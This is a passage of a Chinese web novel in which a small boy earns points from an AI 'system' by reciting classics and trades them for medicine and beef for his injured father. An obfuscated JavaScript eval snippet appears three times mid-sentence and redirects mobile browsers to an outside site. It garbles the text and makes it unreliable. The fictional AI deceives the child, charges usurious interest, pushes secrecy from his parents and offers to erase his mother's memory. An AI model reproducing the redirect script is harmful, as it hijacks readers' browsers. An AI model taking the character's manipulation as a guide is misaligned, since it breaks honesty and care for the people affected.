顾丰收翻了个白眼，从衣袖掏出个鸡蛋来，往他脑门上一磕，三两下剥完就往他嘴巴里头塞。 “大嫂让给的，快吃。” “我不吃，留给爹吃。”顾丰年捂住自己嘴巴。 顾丰收眼睛一瞪：“家里不缺你这颗鸡蛋，大夫说了，你每天都得吃一颗，不吃就会生病，生病就得吃药，吃药还要花钱。” “你乖乖吃鸡蛋别生病，就是给咱家省钱了。” 顾家夫妻总说幺儿在肚子里没养好，出生就身体弱，小时候没少喝药，平时得好好补补。 兄弟姐妹几个听多了，也觉得小六体弱，得多照顾，这些年都习惯了。 “那咱俩一人一半。”顾丰年退一步。 顾丰收伸手拍他脑门：“我都比你高一个头了，还缺你这一口，赶紧别让我发火。” “都怪你老是打我头，我才长不高的，以后不许再打，不然我要告诉娘。”顾丰年捂住额头。 五姐老用他脑门敲鸡蛋，还喜欢摸他脑袋，顾丰年觉得这才是自己长不高的原因：“也没有一个头，顶多半个。” “快吃，别给家里添乱。” 顾丰年被说服，苦着脸张大嘴：“好吧，那我自己吃，你别塞，我会噎着的。” “这才对。” 顾丰收虽然只比他大半个时辰，却自认是姐姐，很喜欢教训弟弟：“家里再难也不会缺了你的，别听二嫂瞎咧咧，她要是敢骂你告诉五姐，我帮你骂回去。” “哼，我才不惯着她。” 顾丰年很想说他自己也能骂回去，无奈嘴巴都被鸡蛋堵着说不出话来。 等弟弟吃完鸡蛋，顾丰收叮嘱了几句才回家。 顾丰年听话没继续跑，主要是嘴巴里还有鸡蛋没咽下去，怕噎着。 结果没走几步，又有一个人追上来：“顾小六。” 牛长栋人高马大，三两步就追上他，扭头看他脸色，见还好才松了口气。 “你的蛐蛐。”他从怀里头拿出小笼子。 顾丰年早就把蛐蛐忘了，一挥手：“送你玩了。” “那好吧，先放我这儿，你想要了再拿回去。” 牛长栋是村长大孙子，昨晚一直听家人提起顾家的事，知道他们用光了积蓄还欠了一屁股外债。 这会儿就学着大人样开口安慰：“人活着就好，以后日子会好起来的。” 顾丰年听了频频点头，大声道：“那当然，我爹马上就能好起来。” 见他信心满满，牛长栋抓了抓后脑勺，不知道该说什么。 昨晚上爷爷说了，顾老爹虽然保住了性命，以后是个药罐子。 牛长栋绞尽脑汁想安慰，顾丰年在看到学堂大门后，却撒丫子跑进去。 “哎——”牛长栋跟了几步，瞧见他往先生的小院去，连忙止住脚步。 作为学渣，牛长栋瞧见沈先生，宛如老鼠见了猫，恨不得远远躲开，更别提主动送上门了。 沈先生刚起来，正在晨练，慢吞吞打着八段锦，这是他平日里的习惯。 听见脚步声，沈先生也没回头，光听见刷刷刷扫地的声音，干得可起劲。 等他收了动作一看，顾丰年打了水，浸湿帕子，拧干了在旁边等着。 “先生，您擦把脸。”小孩儿殷勤的举起帕子，黑黝黝眼睛亮晶晶的。 沈先生挑眉，接过帕子擦了擦，小孩儿力气不够大，帕子湿漉漉的，擦了还不如没擦。 “今日怎么这么早？” 显然也不是第一次。 顾家的事情已经传开了，沈先生也知道顾老爹受伤，顾家欠下外债的事情，心底可惜。 如今见顾丰年乖巧，心底可惜更甚。 “先生，您可以教我剩下的《三字经》吗？” 顾丰年不会兜圈子，直接开口：“全部的《三字经》，不是每天一句。” 沈先生诧异，却没直接呵斥，反倒低头看他：“为什么要全部的《三字经》？” 顾丰年想解释，只要背会全部的《三字经》，他就有薪火点，能从小九那儿换伤药救爹爹。 但他没办法对别人说小九的事情。 眼珠子一转，顾丰年就说：“爹爹喜欢听我背书，要是我能背整本《三字经》，爹爹一高兴身体就会好起来。” 沈先生沉默了。 难得这孩子孝心可嘉，可惜，顾老爹那样的情况，哪里是一高兴就能好起来的。 若是别的学生，沈先生多少要教训几句循序渐进不得贪多之类的话。 可眼前是才五岁的顾丰年，还算不得他自己的学生。 见小孩儿眼巴巴看着自己，沈先生一颗心化了，硬不起来。 “前头你都会了？” 顾丰年连连点头：“我会，先生，我背给你听。” 说着背起手，试着拉了拉小胖手没能拉住，仰着头就开始背。 沈先生原本已经决定教他，随口一问而已，毕竟这孩子每日就旁听那么一小会儿，哪能真的都背会。 谁知顾丰年一开口，倒是将沈先生镇住。 只听他口齿清晰，一气呵成，竟是一个字没错。 沈先生目露震惊，虽不知道他认不认字，能不能写，但光是背诵已经强过学堂上那些孩子。 顾丰年一口气背完，等待着沈先生夸奖。 平日里他在家背书，爹娘和哥哥们都会大声夸赞。 可等啊等，只看到沈先生面色复杂，看着他的眼神怪怪的。 顾丰年忍不住在心底偷偷问：【小九，先生怎么了，是不是我背错了？】 【没背错】009回答。 得到小九肯定，顾丰年立刻又有自信了：“先生，我背完了。” 沈先生回过神来：“好好好——你背得不错。” 顾丰年得到表扬，高兴地眯了眼睛，维持不住小书生的模样，蹦着跳着缠着喊：“先生，那你快教我后头的，我要快点背会整本书。” 沈先生平日里严肃，爱打手心，学生都怕他，甚至家里头儿子孙子都怕他。 老先生哪儿见过这么会磨人的小孩儿，就差吊在他胳膊上了。 “下来下来，蹦蹦跳跳像什么话。” 沈先生呵斥了一句，顾丰年怎么会听，把脑袋往他胳膊上一挂，用忽闪忽闪的大眼睛瞧他。 一脸先生你说什么我听不懂，你快教我的天真无辜。 沈先生没忍住，伸手掐了一把胖脸，顾丰年平时被捏惯了，不但不反抗，还仰起脸让他捏的更顺手。 意识到自己失态，沈先生轻咳一声：“你跟我进来。” 进了门，沈先生才说：“读书贵在坚持，讲究一个基础扎实，原本老夫不该拔苗助长，但今日看在你孝心可嘉，便破例一次，记住，只此一次。” “嗯嗯嗯。”顾丰年只听见先生愿意教他了。 他人还没桌案高，就学着平时的样子，踮起脚尖，将下巴枕在桌子上。 沈先生皱了皱眉，瞥了眼他踮起的脚尖，索性伸手将他抱起来：“坐好。” 却是把他放到了凳子上，自己站到旁边。 “时辰不早了，老夫只教一次，若是记不住，放学后可再来。”沈先生叮嘱。 顾丰年连连点头，托着下巴竖起耳朵听。 “若梁灏，八十二。对大廷，魁多士——”沈先生开始教学。 顾丰年仿佛回到课堂上，摇头晃脑，奶声奶气的跟着念：“若梁灏，八十二……” 先生教一句，他就念一句。 沈先生见他跟得上，心底越发惊异，不再停顿继续教学。 “勤有功，戏无益。戒之哉，宜勉力。”很快就教到了最后一句。 顾丰年念完，等待着下一句。 “已经教完了。”沈先生开口。 “记住了吗？” 顾丰年瞪大眼睛，这就背完了？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383236|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他捣蒜似得点头：“记住了，谢谢先生，那我先回家了，我要背给爹爹听。” 说着跳下凳子就要跑。 沈先生一把薅住他衣领子：“等等。” 他神色复杂的打量着小孩儿：“你都记住了？” “记住了呀，先生，你教的真好，一遍我就都记住了。”顾丰年大声夸奖。 沈先生拧起眉头来：“来，背给我听听。” 顾丰年站直身体，奶声奶气的背诵起来，把今天新学会的都背了一遍。 背完了，他又等待夸奖。 沈先生原本以为孩子太小，哪能一遍就背会，大概率是自以为会背了。 哪知道一字不差。 心情更加复杂，沈先生看向等待夸奖的人，忍不住伸手摸了摸他的小脑袋。 “不错。” “嘿嘿。”顾丰年露出八颗小白牙。 “回去吧，希望你爹听了高兴，能早些好起来。”沈先生说道。 顾丰年一听，蹦蹦跳跳就离开了，背影都带着雀跃高兴。 书房里，沈先生一脸复杂，纠结不已，连带着去上课的时候脸色分外严肃。 当抽背时，发现十二个孩子，没一个能流畅背出的时候，气得沈先生大发雷霆，拿起戒尺就开始打手心。 从牛长栋到牛学文，一个都没落下。 “脑子若笨，就该多加勤勉，一次背不会就十次，十次不会就百次，若背都背不下来，那就是放学光顾着玩不够用心。” 吓得一群孩子瑟瑟发抖，像受到惊吓的小鹌鹑。 沈先生看了更加不满，脸色更冷，恶性循环。 等他离开，牛学文才斯哈斯哈两声，嘀咕道：“先生今天这是怎么了，如此暴躁。” 沈夫人听见动静也觉得异常，忍不住说：“都是没上过学的孩子，年岁也小，又是乡下，天赋平平也是正常，你别打得太狠，免得他们心底害怕，反倒是更加学不进去。” 沈先生抿着嘴，好一会儿才说：“乡下孩子的脑子，又不会比城里笨，学不会就是不够努力，整日就知道瞎玩。” 这话让沈夫人无力吐槽，最后说了句：“也是，你亲自生的两个儿子，不也学不会。” 沈先生脸都黑了，却反驳不了老妻。 怕他气出一个好歹来，沈夫人安慰：“读书是长久的事情，咱既然来了长溪村，天长日久的慢慢教，总有一两个会出息。” “哎，老夫这辈子只得童生，儿子孙子都不是读书的料，只能指望学生。” 沈先生转了几圈，还是没忍住：“顾家那小子实在聪慧，今日教了一次，他竟然都背会了。” 老夫老妻，沈夫人一听就知道他在想什么。 “那孩子乖巧懂事，我瞧着也喜欢。”长得玉雪可爱，从不吵闹，虽没有缴束脩当正经学生，但每次过来都会帮忙洒扫，实在是让人讨厌不起来。 但沈夫人也知道顾家的情况，叹息道：“若是以前，他们家兄弟多，省一省也许能供他读几年。” “可如今顾家刚刚出事，还欠着外债，哪儿来的银钱送他上学。” 沈先生沉吟道：“我可以不要他束脩。” “就算你不要束脩，读书总得文房四宝，他们家能买得起吗？可别为了读书，反倒闹得家宅不宁。” 沈夫人劝道。 还有一番话她没开口，那就是沈先生是牛地主请来的，牛家花了大头，这栋学堂也是牛家出钱造的。 如今这才半年，沈先生不多照顾牛学文，反倒是免费教顾丰年，牛地主肯定会不满。 沈先生也想到这些，叹息一声，最后只能说：“罢了，年纪也还小，再看看。” 心底却在惋惜顾丰年运气不好，家里老爹出事，往后日子艰难，更别提读书了。 原本他都想好了，等教完《三字经》，顾丰年若是能跟上，他就主动开口跟顾家爹娘说，让他们送孩子来上学。 结果倒好，顾丰年天赋比他想的更好，家里却忽然出事，实在是时运不济。 5. 第 5 章 “小九小九，我已经背会了，快给我薪火点。” 离开学堂，顾丰年迫不及待的开口催促，小脸上写满了兴奋。 【开始收录，请宿主从头至尾背诵一遍】系统提示。 顾丰年昂头挺胸，开始大声背诵。 偶尔有村人路过听见，都觉得这孩子可真逗，又纷纷摇头叹息时运不好，偏偏遇上顾老爹这事儿，就算聪明家里也拿不出读书的银钱。 顾丰年可不管，他只知道背书能换伤药。 【收录常见蒙学读物《三字经》一本：+10薪火点】 顾丰年高兴的蹦起来：“太好了，我要伤药，小九我要能治好爹爹的伤药。” 【宿主之前赊欠伤药，价格为5薪火点/份，利息为4薪火点，自动扣除后还剩1薪火点】 顾丰年眨巴眨巴大眼睛，十根手指头算不过来。 他虽然年纪小，但也知道事情不太对：“这，这么多吗？” 【系统不鼓励赊欠，所以利息非常高。】 此时此刻的顾丰年尚且不知道，系统这种行为叫放高利贷，还是短短一天时间内就直接翻番的高利贷。 顾丰年只记得当时很危险，爹一直在流血，是小九赊给他伤药爹才能保住性命。 小孩儿真心实意的道谢：“小九，谢谢你，没有你我爹就危险了。你扣吧，这都是你应得的。” 一瞬间，人工智能都产生了蒙骗小孩儿的羞愧。 但已经扣除的薪火点是不可能还回来。 【已扣除，宿主当前有1薪火点】 【薪火点可兑换系统商品】 【这些是宿主可以兑换的商品】 顾丰年立刻被转移了注意力，大眼睛全盯着别人看不到的画面。 “糖！好吃的糖！” 小孩儿第一眼就盯上糖果，五颜六色的糖果非常诱人，看着就知道非常甜，非常好吃。 就是系统为了忽悠他每天去学堂偷听，偷渡出来给他尝过的那一种。 顾丰年口水都流出来，他还记得糖果的美味，比爹从县城带回来的饴糖更加香甜。 【水果糖1薪火点/斤，一斤大概有100颗，每天吃一颗可以吃三个月，是否兑换？】 三个月每天都能吃到美味的糖果，顾丰年眼睛都要冒出光来。 但是下一刻，小孩儿胖嘟嘟的脸上闪过决绝。 他用力摇头：“不要糖，我要换伤药，能治好爹的伤药。” 【宿主，薪火点不足，无法兑换】系统无情打破他的幻想。 顾丰年胖脸都耷拉下来。 纠结了一会儿，小孩说：“那我要换牛肉。” 顾丰年牢牢记得大夫的话，爹需要吃肉，最好是牛肉，这样就能快点好起来。 【牛肉1薪火点/5斤】 顾丰年一握手：“就换这个。” 系统提醒：【宿主，当前世界牛肉是稀缺品，兑换后你怎么拿出去？】 【绝对不能暴露系统存在，那会很危险】 【他们不会相信，会认为宿主疯了，也许会把你当傻子关起来】 【记住，绝不能让任何人知道系统存在】 小九苦口婆心。 一开始，系统选中的宿主是一位穿越者。 穿越者是成年人，拥有丰富的知识储备，能快速接受系统存在，并且配合他完成薪火值收集。 相比起土著人，穿越者直接降维打击。 被顾丰年称呼为小九的系统，全称是文明火种传承系统，被投放在时空洪流中，负责收录人类文明薪火。 它的编号是ARCHIVE-ZH-DYNASTY-ZHOU-009。 结果穿梭时空过程中出错，原定宿主不知道掉在了哪儿，009阴差阳错选中了顾丰年。 当时才两岁的小崽子知道什么金手指外挂，直接被吓哭发烧，差点就一命呜呼。 009能怎么办，只能哄着劝着骗着，堂堂AI充当育儿嫂，自掏腰包喂食糖果，才骗得顾丰年去学堂旁听。 带孩子带的心累，009别无选择。 绑定后009就没法离开，只有收集足够的薪火点后，它才能再次穿梭。 顾丰年一听傻眼了。 “好吧，你让我想想，我一定会想到办法的。” 系统见他没坚持兑换牛肉拿出来，松了口气，心底感慨自己命苦。 别家宿主已经飞起，完全不用系统担心。 他家宿主三岁半，时时刻刻都得看着，当初编写程序的时候，程序员是不是报社，给它安排了劳碌命程序。 顾丰年抿着嘴往回走，一个小孩子，遇到解决不了的问题，当然是要回家问爹娘啦。 对，爹娘那么聪明，肯定会有办法。 他哒哒哒跑起来。 009看不到宿主的内心，也不知道自己距离暴露只差一步。 “四哥，你去哪儿？” 顾丰年还没跑进家门，先瞧见扛着家伙鬼鬼祟祟往外走的顾立秋。 “嘘嘘嘘，别这么大声。” 顾立秋一把搂住幺弟，走出去一段路才说：“四哥出门办点事，很快就回来，乖，回家别跟娘说，也别告诉大哥他们。” 顾丰年却已经看到他装在背篓里的家伙。 他可不是三岁小孩儿，已经五岁了！ 顾丰年一下子就猜到：“四哥，你要上山打猎？” “不行不行，爹说过，没有他陪着不许你们上山打猎。” 顾立秋苦了脸：“那是以前，现在爹受伤了，咱们总不能干等着吧？” “昨天你也听见了，大夫说了，咱爹得吃点好的，可咱家现在拿不出银钱来买，我就想着上山一趟，抓两只野鸡也是好的。” “四哥心中有数，保证不会进深山，就在外头转转。” “小六，你也希望爹快些好起来是不是，乖，帮四哥瞒着点。” 顾老四想了一晚上，唯一想到能挣钱的办法就是上山打猎。 虽然这次就是因为打猎爹才受伤，但他小心一些，不进深山，其实没那么危险。 大哥他们说去码头干活，可活少人多，能不能赚到钱是未知数。 打猎就不一样了，但凡能打到就能换成钱。 顾家兄弟一个个长得人高马大，顾老四更是其中佼佼者，今年才十四岁，已经长得比兄弟都高。 正因为如此，顾老四胆子大，打猎的手艺也不错，这次冒进纯属意外。 顾丰年小脸皱在一起，眉头打结。 听了四哥的话连连摇头：“不行不行，四哥你别去，我不想你受伤。” 顾老爹自己能打猎，却深知打猎的危险，从不许几个儿子单独上山。 这些年他卖力赚钱买地，就是想让儿子们有地可种，不用再跟自己似得上山冒险。 尤其是幺儿，顾老爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383237|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至都不教顾丰年，也不肯让他跟着上山。 顾丰年听顾老爹吓唬多了，心底认定打猎危险。 顾立秋见他这样头疼不已，吓唬道：“你还想不想爹好起来了？” “想。” 顾丰年老实回答，却又说：“可是我不想四哥受伤。” “都说了我不进深山，哪里会受伤，这些年都没事。” 顾立秋说完自己就顿住，这么多年都没事，可这一次受伤就差点要了他爹性命。 越想越是懊悔，越是懊悔顾立秋更想挣钱。 “你乖乖听话，四哥天黑前保证平安回来，到时候给你买糖吃。” 顾丰年不听，整个人都缠在他身上，死死抱住他脖子不放：“我不要吃糖，四哥你不许去。” “你这孩子怎么回事儿。”顾立秋又是心酸，又是生气，却又拿他没办法。 小小的人，软绵绵的，他都不敢上手拉扯，怕把幺弟手臂弄折了。 顾丰年小脑袋转的飞快，趴在顾老四耳边说：“四哥，我有办法赚钱。” 顾立秋无可奈何，他们兄弟都没办法，一个小屁孩能有什么办法。 他心底完全不信，嘴上哄着弟弟：“小六真厉害，乖，快下来。” “真的，我真的有办法。”顾丰年见他不信还急了。 双手双脚都缠在哥哥身上，让他没法丢开自己，顾丰年小声道：“四哥，背书就能挣钱，能买糖，还能买肉，是牛肉哦。” 009沉默震耳欲聋。 就知道小孩儿靠不住，幸好，没有人会信一个孩子的傻话。 顾立秋心底叹气，暗道要是猎到了那头野山猪，卖了指不定就能拿出钱来送弟弟上学。 他家幺弟聪明，脑袋瓜子比兄弟几个都灵，认字后说不定能去镇上当账房，这不比在乡下种地强多了，天天吃肉都不成问题。 可惜——野猪没打到，爹还受伤了。 顾立秋懊悔万分，耐心哄道：“好好好，小六好好背书，四哥等你有出息给我买肉吃。” 一个不肯撒手，一个坚持上山。 正闹着，顾满山听见动静出来，看到顾立秋背着家伙就知道发生了什么。 狠狠瞪了眼弟弟，顾满山呵斥：“赶紧给我回家，再胡闹揍你。” “大哥，我——”顾立秋颓丧，被大哥发现，今天是没法上山了。 顾满山伸手接过顾丰年，又瞪了他一眼：“回头再收拾你。” “大哥，咱家怎么样才能拿出牛肉来？”顾丰年问。 顾满山也疼幺弟，摸了摸他的脑袋安慰：“等大哥明天去码头挣了钱，就给爹买牛肉吃。” 又对几个弟弟说：“趁着农闲，明天都跟我去码头干活。” 顾家兄弟纷纷点头答应，爹受伤，家里就是娘和大哥做主。 顾丰年再次被忽略，小孩儿抿紧嘴角。 他隐隐约约意识到，就算买了牛肉，也是不能直接拿出来的，家里人会以为他变成了妖怪。 爹娘肯定会跟上次似的，去山上庙里头求神拜佛，好好的铜板都送给和尚啦！ 【小九，可以直接给我钱吗？】 【我可以拿钱去换牛肉。】 009否定：【不行，薪火点无法直接兑换为货币。】 顾丰年板着小脸，捧着脑袋苦思冥想，到底怎么样才能名正言顺的把肉拿出来，让大家不害怕，欢欢喜喜的吃呢？ 6. 第 6 章 顾丰年有肉不敢吃，小脸苦恼皱成一团。 顾老大心底叹气，觉得自家幺儿又孝顺又贴心，不像老四，这么大年纪了一点不懂事，还要他这个当大哥的操心。 “去玩吧，有大哥在，家里还用不着你个小屁孩操心。”顾满山将孩子放下来。 顾丰年昂起头：“大哥，你相信我，我真的能帮忙。” “大哥知道，咱家小六打小就乖，去陪爹说说话吧，爹见了你高兴，好的就更快。”顾满山哄道。 听了这话，顾丰年立刻把小烦恼忘了，朝着屋子里跑。 顾满山这才转头：“再敢上山，打断你的腿。” “大哥，我就在山脚下看看。”顾立秋低下头。 顾满山不信，他们兄弟几个里头，就老四胆子最大，再说这年头，山脚下能逮着猎物才怪。 “我已经跟老牛叔说好了，明天跟他一块儿去码头，你们都一起去。” “只要我们兄弟一条心，总是能渡过难关，爹受伤，但大哥还在，大哥会照顾好你们。” 顾满山是家中老大，自问也对弟弟妹妹有责任，就算再苦再难也会担起这个家。 顾立秋只能蔫头耷脑的答应。 顾丰年一口气跑到里屋。 喝过药，顾老爹脸色好了一些，至少不像昨日那般气息奄奄。 顾老娘一边做活，一边照顾，家里头事儿都交给了两个儿媳妇。 “别跑这么快，擦擦汗。” 王氏拉过孩子擦了擦，怕他出汗吹风容易生病。 顾丰年胡乱擦了几下，就去看床上的人。 “爹，你好些了吗？”顾丰年开口问。 顾老爹笑了笑：“好多了，药这么贵，爹喝了哪能还不好。” 他眉宇间都是忧愁，心知这次自己受伤，看病吃药家底都掏空了，更着急想好起来。 醒来后，顾老爹就觉得浑身无力，连吃饭都要人喂，老妻安慰说喝了药就能好，但他心底不安的很。 若是变成废人，倒不如死在山上，省得成拖累。 顾老爹不想让幺儿担心，安慰道：“幺儿别怕，等爹好了就带你去县城玩。” “我不想去县城玩，只想爹快些好起来。”顾丰年往他脸颊贴了贴。 这一贴，顾丰年觉得爹的脸颊发凉，跟平时热乎乎的完全不一样。 他赶紧将被子拉高一些：“爹，你是不是冷？” “爹不冷，就是有些累，躺一会儿就好了。”说了几句话，顾老爹就打不起精神来。 顾丰年赶紧说：“爹，我不说话啦，你赶紧休息。” 顾老爹还想宽慰幺儿几句，可脑袋却变得昏昏沉沉，嘴巴挪动了一下没能发出声音。 就这样又迷迷糊糊的睡过去了。 失血太多对他的身体造成了很大伤害，这些年积攒的病痛一块儿发作出来。 顾丰年蹑手蹑脚的守着，时不时摸摸顾老爹额头，没发烧，但依旧很凉。 “这儿有娘看着，你出去玩吧。”顾老娘见他忙忙碌碌的好玩好笑，看了一会儿又觉得心酸，拍了拍他。 心底也担忧，如今家里还好，可积蓄花光了，又欠了一屁股外债，久病床前无孝子，时间长了儿子不说什么，儿媳妇也会有意见。 王氏泼辣，自认能压得住媳妇，却也忍不住担心未来。 “一定是没吃肉才这样。”顾丰年心底认定原因。 他将爹娘脸上的忧虑看得清清楚楚。 顾丰年知道那不是好样子，不希望看到爹娘哥哥们露出那样的神色来。 想了想，顾丰年压着嗓门，靠在王氏怀中神秘兮兮的说：“娘，我能变出牛肉来！你别害怕，不是妖怪，是神仙给的。” 009千算万算，没算到小孩儿压根没有保密意识，这就告诉他娘了。 呵呵，该谢谢他没说妖怪吗？ 王氏哭笑不得，只以为孩子开玩笑，亲了亲肉嘟嘟的小脸说：“哇，我家幺儿真厉害，娘知道啦，去玩吧。” “你别不信，我真的可以变出来。”顾丰年可不笨，听出王氏在哄她，立刻退后两步。 “娘，你看好了。”顾丰年伸出一双肉乎乎的小手。 【小九，快把牛肉给我，就放我手上。】他在心底默念。 009带孩子都崩溃了：【你在干什么，说了要保密，我的存在不能告诉别人。】 【你傻啊，我娘怎么可能是别人？她是自己人，放心，我娘很聪明的，她会帮我想办法，别人就不会怀疑我啦。】 009电子音满是无奈：【在巨大的利益面前，君君臣臣父父子子，亲娘老婆日子都不可信。】 顾丰年有听没有懂，不耐烦的催促：【你快把牛肉给我呀，那是我辛辛苦苦背书赚来的牛肉，你不能耍赖！】 他急了。 【抱歉宿主，系统规则限制，严禁在第二者面前进行兑换操作，请宿主确保周围环境绝对隐蔽，无任何人类存在，才可进行兑换商品。】 009冷酷无情的表示：【此外，宿主需自行解决物品来源合理化，否则被当成妖怪驱魔我是不会管你的。】 它容易吗，堂堂智能AI还得带孩子，免得小孩嘴上没把门到处瞎咧咧，在长大之前就被搞死。 009闭眼定规则，这都是为了小孩儿好，等他长大就会知道，人心最不可信，亲娘也不行。 顾丰年伸着手都累了，也没看见牛肉，气得脸颊胖鼓鼓的。 落到王氏眼中，就是孩子闹着玩，她生养了六个孩子，已经习惯小孩儿想一出是一出，有时候分不清幻想和现实。 “哇，真香，好多牛肉，娘已经吃了，乖宝出去玩吧。” 王氏很配合的凑过去，作势啊呜吃了一口。 还转身翻出一块点心，豆沙馅的，这还是上次顾老爹进城买的。 “拿着吃，别让你侄儿瞧见。”点心不多，王氏偏心自家幺儿。 拿不出牛肉来，顾丰年很没面子，几乎要急哭了。 即使被塞了最爱吃的点心，顾丰年也高兴不起来，不肯出去，在心底骂：【骗子，撒谎精，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383238|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再也不会相信你了。】 并且发誓：【从今天开始，我再也不会背书，再也不会上你的当。】 009很是心累，带孩子好辛苦，它怎么说才能跟五岁小孩儿解释清楚这里头的利害关系？ 【只要你想办法合理化商品，就不会遇到刚才的问题。】 顾丰年压根不管，只说：【今天不给我牛肉，我就再也不读书，再也不会相信你这个骗子。】 【我要跟你绝交！】 009感受到小孩儿坚决。 它进退两难，试图蒙混过关：【你要吃糖吗，我可以给你糖，你自己吃没问题，不会有人发现】 自掏腰包哄孩子，009觉得再养两年，等孩子大一些就懂事了。 那时候顾丰年就会知道人心的可怕，就不会做这么危险的事情。 顾丰年用力哼了一声。 他可不是一颗糖就能哄好的小朋友，两颗也不行，他要很多很多，大家一起吃，才不会吃独食。 【快把牛肉给我！不然绝交。】 【我是认真的，不给我，从今天开始，我一个字都不会读，绝不，我都不说话当哑巴。】 【气死你，你是个坏妖怪。】 沉默许久，009深深忧虑：【顾丰年，你想好了吗，牛肉出现，他们就会猜到我的存在，这是非常危险的事情】 【没有一份爱可以永存，即使这份爱来自你的父母】 顾丰年只说：【快给我。】 【如果这是你的选择，那好吧。】009妥协了。 一年多时间，让009意识到让一个孩子守口如瓶十分困难，尤其是得到奖励后，顾丰年是没办法做到天衣无缝的。 尤其是在家人面前，这孩子完全不设防。 有啥好吃的都想跟家里人分享，009想着小孩儿脾气就绝望，它怎么没选个自私自利的呢？ 顾丰年还在生气，气小九说话不算话，蓦的，他小胖手一沉。 “娘，你快看，是牛肉！好大一块牛肉。” 顾丰年压着嗓门，激动异常，一扫刚才斗败公鸡样变成得意洋洋。 “牛肉！” 王氏以为自己一夜没睡，产生了幻觉，下意识揉了揉眼睛。 牛肉还在，红彤彤，上好的牛肉。 王氏狠狠掐了自己一把，疼，不是梦。 她没有丝毫惊喜，全是恐惧，整个人都在颤抖：“幺儿快丢开那祸害，到娘身边来。” 说着快步上前，一巴掌拍开牛肉，将小孩儿护在身后。 “不管你是神仙还是妖怪，从我家里滚出去，不许碰我的孩子！” 护崽的女人凶神恶煞，摆出自己最坚强的一面。 牛肉啪叽掉在地上，好大一块就这么沾上了灰尘。 王氏竖起尖刺，等啊等，地上的牛肉依旧那么红，没变成石头，也没变成妖怪张开血盆大口要吃人。 顾丰年探出脑袋，奇怪的问：“娘，你怎么了？” “那是神仙送我的牛肉呀，你为什么扔地上？” 7. 第 7 章 王氏被凭空出现的牛肉吓得魂飞魄散，全凭一腔爱子之心才没晕过去。 顾丰年瞧见娘惨白的脸色，也意识到不对，连忙解释：“娘，你别害怕呀，这是神仙给我的。” “真的是神仙给的，不是妖怪，不会吃人，也不会伤害我们。” 有肉吃是好事儿，顾丰年不懂娘为什么这般害怕。 王氏哆嗦着检查儿子，恨不得将他剥了衣裳仔细看：“儿啊，有没有哪里不舒服？” “灵异鬼怪哪有好的，他们给你一块肉，就要从你身上还回去一百块，快让娘看看。” 生怕下一秒，自家儿子就被当做童男童女一口吞了。 王氏听过不少乡野怪谈，其中就有孩子贪吃，拿了山上妖怪一块肉，结果当天夜里就被找上门带走了。 想到这个，王氏搂着孩子哭得不能自己：“丰年，我们不吃牛肉，你快把肉还回去，咱家就是穷死也不能吃妖怪给的肉啊。” 说着转过身，鼓起勇气捡起那块肉。 “快说，你到底从哪儿招惹了脏东西，娘这就还回去。” 眼看亲娘要把肉丢出去，顾丰年急得直跳脚。 “娘，不是妖怪，也不是脏东西，是神仙给的。” 他手舞足蹈的解释起来：“神仙让我背书，我背会一本书，神仙就会奖励我，不但有牛肉，还有伤药。” “什么？”王氏脸色恍惚，仿佛听不懂孩子的话。 顾丰年举起手，压着声音说：“娘，我再告诉你一个秘密，昨日爹差点就要死了，是神仙救了他。” “神仙说可以赊账，给了我伤药，爹的血才能止住。” 说完这个，顾丰年还有些小得意，挺起小肚皮：“娘，我厉害吧。” 王氏双腿一软，直接跌坐在床边：“完了完了，原来昨日就已经吃用，这可怎么办？” 她转身拉开被子，男人伤口开始愈合，伤药都已经用了，哪里还能还回去。 就算可以还回去，王氏也不可能眼睁睁看着自己男人死。 她脸色极其难看，生怕下一刻就有妖怪跳出来，仗着救了爹就要把儿子带走，父债子偿。 “我的丰年还这么小，你要索命就索我的命，别碰我的孩子。”王氏吓得六神无主。 甚至扑通一声跪在了地上：“民妇愿意偿命，只求别伤害我的孩子。” 顾丰年也急得抓耳挠腮，明明是好事儿，娘怎么就不相信呢？ 【小九，怎么办，我娘不相信你是好神仙。】 【呵呵】009冷笑，它早就提醒过，谁让这小屁孩不信，哼，现在自食恶果了吧？ “娘，你相信我，他是个好神仙。” “牛肉是我背书换来的，可以吃。” “娘，你快起来啊。” 王氏却不信，陷入自己的幻想恐惧中。 不但不起来，还拉住儿子一起跪：“丰年，快磕头，说你还小不懂事，求它放过你。” “娘——”顾丰年小脸涨得通红。 【小九，现在怎么办？】顾丰年着急了，怎么都没想到娘居然不信，害怕成这幅样子。 009这时候站出来：【我可以消除你娘的记忆，需消耗10薪火点，可以赊欠】 【不行！】顾丰年嘟起嘴，觉得消除记忆听起来就很不好。 